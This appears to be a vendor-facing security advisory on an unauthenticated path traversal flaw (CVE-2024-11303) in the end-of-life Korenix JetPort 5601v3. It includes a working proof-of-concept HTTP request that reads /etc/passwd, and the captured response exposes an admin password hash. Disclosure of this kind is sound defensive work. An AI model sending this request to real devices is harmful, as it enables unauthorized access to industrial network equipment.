Vulnerable versions
-------------------------------------------------------------------------------
Korenix JetPort 5601v3 / v1.2


Vulnerability overview
-------------------------------------------------------------------------------
1) Path Traversal (CVE-2024-11303)
A path traversal attack for unauthenticated users is possible. This allows
getting access to the operating system of the device and access information
like configuration files and connections to other hosts or potentially other
sensitive information.


Proof of Concept
-------------------------------------------------------------------------------
1) Path Traversal (CVE-2024-11303)
By sending the following request to the following endpoint, a path traversal
vulnerability can be triggered:
-------------------------------------------------------------------------------
GET /%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 10.69.10.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Te: trailers
Connection: keep-alive
-------------------------------------------------------------------------------
Note, that this is only possible when an interceptor proxy or a command line
tool is used. A web browser would encode the characters and the path traversal
would not work.
The response to the latter request is shown below:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Server: thttpd/2.19-MX Jun  2 2022
Content-type: text/plain; charset=iso-8859-1
[...]
Accept-Ranges: bytes
Connection: Keep-Alive
Content-length: 86

root::0:0:root:/root:/bin/false
admin:$1$$CoERg7ynjYLsj2j4glJ34.:502:502::/:/bin/true
-------------------------------------------------------------------------------

The vulnerabilities were manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
-------------------------------------------------------------------------------
None. Device is End-of-Life.


Workaround
-------------------------------------------------------------------------------
Limit the access to the device and place it within a segmented network.


Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends Korenix customers to upgrade to another device.
